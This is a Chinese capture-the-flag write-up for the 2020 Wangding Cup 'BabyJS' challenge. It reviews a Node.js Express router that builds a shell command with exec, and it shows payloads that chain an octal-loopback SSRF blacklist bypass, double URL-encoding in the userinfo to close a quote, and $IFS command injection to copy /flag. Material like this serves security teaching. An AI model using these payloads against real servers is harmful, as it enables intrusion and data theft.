[网鼎杯 2020 半决赛]BabyJS
知识点:
SSRF绕过
node.js代码审计
解题:
关键代码如下:
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/', function(req, res, next) {
res.json({});
});
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});
module.exports = router;
存在代码注入漏洞,对 /debug 路径进行GET请求时,它会先判断访问 ip 是否在黑名单内,如果在就读取 GET 中的 url 参数,再把单双引号过滤了,再使用url.parse
去解析。把解析后的 url 拼接到 shell 命令中执行。然后返回/tmp/log
文件中的内容。
后面还存在通过POST方式请求 /debug 路径,程序会先判断是否提交了参数,如果提交了该参数则会用url.parse
解析,然后判断其中的主机名字段是否在blacklist
中,如果主机名没有被 ban 掉,则去使用GET方法请求url
参数中所提交的 url ,返回请求的内容。
因为我们想绕过白名单,进入GET请求的 /debug ,所以我们只能POST /debug 让其SSRF去GET请求自己的 /debug,为什么这里要使用SSRF呢,就是因为GET的时候是判断访问 ip ,而POST的时候是重POST的 body 进行黑名单验证的
黑名单绕过方法:
https://www.secpulse.com/archives/65832.html
{"url":"http://0177.0.0.1:3000/debug?url="}
下一步是闭合引号,这就和 nodejs 的 url 库的具体实现相关了。因此我们想到了进行二次编码绕过,因为web服务器会先解一次码
但是这就需要有二次解码的地方,就需要知道 nodejs 二次解码的地方:
https://github.com/nodejs/node/blob/master/lib/url.js
意思是@
前,也就是URL中表示用户名和密码的字段会被二次解码,所以可以构造如下payload即可闭合引号:
{"url":"http://0177.0.0.1:3000/debug?url=http://%2527@xx"}
最后我们就想把 flag 传入 /tmp/log 中,直接使用 cp 命令即可:
{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}
%00 是为了截取后面代码